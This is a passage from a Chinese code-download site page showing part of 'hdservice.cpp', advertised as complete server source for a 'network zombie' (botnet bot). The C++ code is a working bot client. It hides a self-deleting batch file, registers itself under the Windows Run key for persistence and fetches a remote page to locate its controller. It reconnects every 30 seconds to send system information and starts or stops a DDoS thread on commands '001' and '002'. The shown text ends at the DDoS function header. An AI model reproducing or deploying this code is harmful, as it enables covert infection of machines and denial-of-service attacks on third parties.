⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hdservice.cpp

📁 网络僵尸 服务端完整源代码很好的东西哦
💻 CPP
📖 第 1 页 / 共 3 页
字号:
			
			}
					
			//发送上线消息
			if (WSAAsyncSelect(sock_client,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE)==SOCKET_ERROR)
			{	
	
			}
			//开始线程
			clientpa=new CLIENTPARA;
			memset(clientpa,0,sizeof(clientpa));
			strcpy(clientpa->IP,ClientIP);
			strcpy(clientpa->port,ClientPort);
			hThread=(HANDLE)::CreateThread(NULL,0,SocketThreadProc,clientpa,CREATE_SUSPENDED,&uiThreadID);
			if (hThread!=NULL)
			{
				
				ResumeThread(hThread);
			}
						

	}
	}
	catch(...)
	{}
	
	while(GetMessage(&msg,NULL,0,0))
	{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
	}

}

//***********************************************//自删除
void uninstall(void)//Thanks to Spybot
{
	char batfile[MAX_PATH]; 
	char tempdir[MAX_PATH]; 
	char tcmdline[MAX_PATH];
	char cmdline[MAX_PATH];
	char This_File[MAX_PATH];
	HANDLE f;
	DWORD r;
	PROCESS_INFORMATION pinfo;
	STARTUPINFO sinfo;
	GetTempPath(sizeof(tempdir), tempdir);
	sprintf(batfile, "%s\\rs.bat", tempdir);
	f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
	if (f != INVALID_HANDLE_VALUE) 
	{
		// write a batch file to remove our executable once we close
		WriteFile(f, "@echo off\r\n"
					 ":start\r\nif not exist \"\"%1\"\" goto done\r\n"
					 "del /F \"\"%1\"\"\r\n"
					 "del \"\"%1\"\"\r\n"
					 "goto start\r\n"
					 ":done\r\n"
					 "del /F %temp%\rs.bat\r\n"
					 "del %temp%\r.bat\r\n", 105, &r, NULL);
		CloseHandle(f);

		memset(&sinfo, 0, sizeof(STARTUPINFO));
		sinfo.cb = sizeof(sinfo);
		sinfo.wShowWindow = SW_HIDE;
		memset(This_File,0,sizeof(This_File));
		GetModuleFileName(NULL, This_File, sizeof(This_File));
		sprintf(tcmdline, "%%comspec%% /c %s %s", batfile, This_File); // build command line
		ExpandEnvironmentStrings(tcmdline, cmdline, sizeof(cmdline)); // put the name of the command interpreter into the command line

		// execute the batch file
		CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
	}

}
////**************************************************
//注册自启动
void RegMe(void)
{
	HKEY hkey=HKEY_LOCAL_MACHINE;
	char lpSubKey[256]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
	HKEY phkResult;
	char lpValue[256];
	memset(lpValue,0,sizeof(lpValue));
	strcpy(lpValue,installname);
	
	int len=sizeof(lpValue);

	if(::RegOpenKeyEx(hkey,lpSubKey,0,KEY_ALL_ACCESS,&phkResult)!=ERROR_SUCCESS)
	{
		::RegCreateKeyEx(hkey,lpSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_WRITE,NULL,&phkResult,NULL);

	}
	//如果不存在值,就新建
	if (RegQueryValueEx(hkey,lpSubKey,NULL,NULL,(unsigned char *)&lpValue,(unsigned long *)&len)!=ERROR_SUCCESS)
	::RegSetValueEx(phkResult,lpValue,0,REG_SZ,(unsigned char*)&lpValue,sizeof(lpValue));
	::RegCloseKey(phkResult);

}
///************************************************

char* GetHttpFile(char url[])
{
	CInternetSession session("My Session");
	CHttpConnection* pServer = NULL;
	CHttpFile* pFile = NULL;
	/********************************///获取主机名
	char szIPFile[256];		//ip文件名
	char szHostName[256];	//主机名
	char *str;
	str=url;
	if(strstr(url,"http://")!=NULL)
	{
		str=str+::strlen("http://");
	}
	if(strstr(str,"/")!=NULL)
	{
		::memset(szHostName,0,sizeof(szHostName));
		strncpy(szHostName,str,strcspn(str,"/"));
		str=str+strcspn(str,"/");
		strcpy(szIPFile,str);
	}
	/********************************///下载网页文件

	char szBuff[65535];
	try
	{
		CString strServerName;
		CString strObject;
		INTERNET_PORT nPort;
		DWORD dwRet;
		
		nPort=80;
		strServerName.Format(szHostName);
		strObject.Format(szIPFile);

		pServer = session.GetHttpConnection(strServerName, nPort);
		pFile = pServer->OpenRequest(CHttpConnection::HTTP_VERB_GET, strObject);
		pFile->SendRequest();
		pFile->QueryInfoStatusCode(dwRet);

		if (dwRet == HTTP_STATUS_OK)
		{
			::memset(szBuff,0,sizeof(szBuff));
			UINT nRead = pFile->Read(szBuff, 65534);
			
		}
		delete pFile;
		delete pServer;
	}
	catch (...)
	{
		//catch errors from WinInet	
	}
	session.Close();
	return szBuff;
}
///************************************************//获取操作系统类型
DWORD WINAPI GetOS()
{
	OSVERSIONINFO os;
	os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
	GetVersionEx(&os);
	switch(os.dwPlatformId)
	{
		case VER_PLATFORM_WIN32_WINDOWS:
		return VER_PLATFORM_WIN32_WINDOWS;
		case VER_PLATFORM_WIN32_NT:
		return VER_PLATFORM_WIN32_NT;
	}
}
//*************************************************
//连接线程//每30秒检测是否断线,并连接
unsigned long CALLBACK SocketThreadProc(LPVOID pParam)
{

	char html[512];
	char *point;
	char ClientIP[32]; 
	char ClientPort[6];

	CLIENTPARA *clientp=(CLIENTPARA*)pParam;
	if (clientp==NULL)
		return -1;

	char		port[6] ;
	strcpy(port,clientp->port);
	char		IP[32];
	memcpy(IP, clientp->IP, sizeof(IP));
	delete clientp;
	struct sockaddr_in TargAddr;
	memset(&TargAddr,0,sizeof(TargAddr));
	TargAddr.sin_family=AF_INET;
	TargAddr.sin_addr.s_addr=inet_addr(IP);
	TargAddr.sin_port=htons(atoi(port));
	while (1)
	{	
		if(connect(sock_client,(sockaddr*)&TargAddr,sizeof(TargAddr))==SOCKET_ERROR )
			{
				Sleep(3000);
				int i=::WSAGetLastError();
				/*char errorcode[5];
				itoa(i,errorcode,10);
				MessageBox(NULL,errorcode,NULL,MB_OK);*/
				if (i==10056)
				{
					Sleep(30000);	
				}
					else		//if (i==10038)
				{
					//如果sock中断,创建sock
					sock_client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
					//connect(sock_client,(sockaddr*)&TargAddr,sizeof(TargAddr));
					Sleep(30000);

					memset(html,0,sizeof(html));
					strcpy(html,strlwr(GetHttpFile(ipfile)));
					//MessageBox(NULL,html,NULL,MB_OK);
					//*****************************//获取客户端ip和端口
					point=html;
					if(strstr(html,"http://jiaozhu")!=NULL)
					{
						point=point+strlen("http://jiaozhu");
					}
					if(strstr(point,":")!=NULL)
					{
						memset(ClientIP,0,sizeof(ClientIP));
						strncpy(ClientIP,point,strcspn(point,":"));
						point=point+strcspn(point,":")+1;

						if(strstr(point,"end")!=NULL)
						{
						memset(ClientPort,0,sizeof(ClientPort));
						strncpy(ClientPort,point,strcspn(point,"end"));

						memset(&TargAddr,0,sizeof(TargAddr));
						TargAddr.sin_family=AF_INET;
						TargAddr.sin_addr.s_addr=inet_addr(ClientIP);
						TargAddr.sin_port=htons(atoi(ClientPort));
						//::SaveLogToFile(ipfile);
						//::SaveLogToFile(html);
						//::SaveLogToFile(ClientIP);
						//::SaveLogToFile(ClientPort);
						}

					}
					//break;
				}
								
			}
			else
			{
				send(sock_client,systeminfor,sizeof(systeminfor),0);
				WSAAsyncSelect(sock_client,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE);
				Sleep(30000);
			}
			Sleep(1000);
	}
	
	return 0;

}
//*************************************************
//*******************************************************
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam) 
{ 
	char 	buff[256];
	char	ip[32];
	char	port[6];
	char *  p=NULL;
	CLIENTPARA *clientpa;
	unsigned long uiThreadID=0;
switch(message) 
{ 
	case WM_SOCKET: 
	if(WSAGETSELECTERROR(lParam)) 
	{ 
	closesocket(wParam); 
	break;
	} 

	switch(WSAGETSELECTEVENT(lParam)) 
	{ 
	//连接
	case FD_ACCEPT:
	
		break;
	//读取输入,如是回车则执行命令
	//不是将输入复制到缓冲区
	case FD_READ:
		if (recv(sock_client,buff,sizeof(buff),0)!=SOCKET_ERROR)
		{
			//::MessageBox(NULL,buff,NULL,MB_OK);
			strcpy(buff,strlwr(buff));
			//开始攻击
			if(strncmp(buff,"001",3)==0)
			{
				p=buff;
				if (strstr(buff,"[ip]")!=NULL)
				{
					p=buff+strlen("001[ip]");
					strcpy(buff,p);
					if(strstr(buff,"[port]")!=NULL)
					{
						memset(ip,0,sizeof(ip));
						strncpy(ip,buff,strcspn(buff,"[ip]"));
						//::MessageBox(NULL,ip,NULL,MB_OK);
						p=buff+strlen(ip)+strlen("[port]");
						memset(port,0,sizeof(port));
						if (strstr(p,"end")!=NULL)
						{

							strncpy(port,p,strcspn(p,"end"));							
							//::MessageBox(NULL,port,NULL,MB_OK);
							//开始线程
							clientpa=new CLIENTPARA;
							memset(clientpa,0,sizeof(clientpa));
							strcpy(clientpa->IP,ip);
							strcpy(clientpa->port,port);
							//clientpa->s=sock_client;
							if(ghThread==NULL)
							{
								ghThread=(HANDLE)::CreateThread(NULL,0,LandDDOSFunction,clientpa,CREATE_SUSPENDED,&uiThreadID);
								if (ghThread!=NULL)
								{
										//::MessageBox(NULL,"START DDOSFUNCTION",NULL,MB_OK);
										ResumeThread(ghThread);
								}
							}
							
								
						}
			
					}
				
				
				}
			
			}
			//结束工具
			if(strncmp(buff,"002",3)==0)
			{
				if (ghThread!=NULL)
				{
				::TerminateThread(ghThread,0);
				//::MessageBox(NULL,"STOP DDOSFUNCTION",NULL,MB_OK);
				ghThread=NULL;
				}
			}

		}
		
		//MessageBox(NULL,"FD_READ",NULL,MB_OK);
		
		break;
	case FD_WRITE:
		//MessageBox(NULL,"FD_WRITE",NULL,MB_OK);
		break;
	case FD_CLOSE:
		//MessageBox(NULL,"FD_CLOSE",NULL,MB_OK);
		closesocket(wParam);
		break;
	}
	break;
	case WM_DESTROY:
		PostQuitMessage(0);
	
	break;
	default:
	return DefWindowProc(hWnd,message,wParam,lParam);
}
	return 0;
}
//*********************************************************
//***************************************************************
unsigned long  CALLBACK DDOSFunction(LPVOID dParam)
{

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -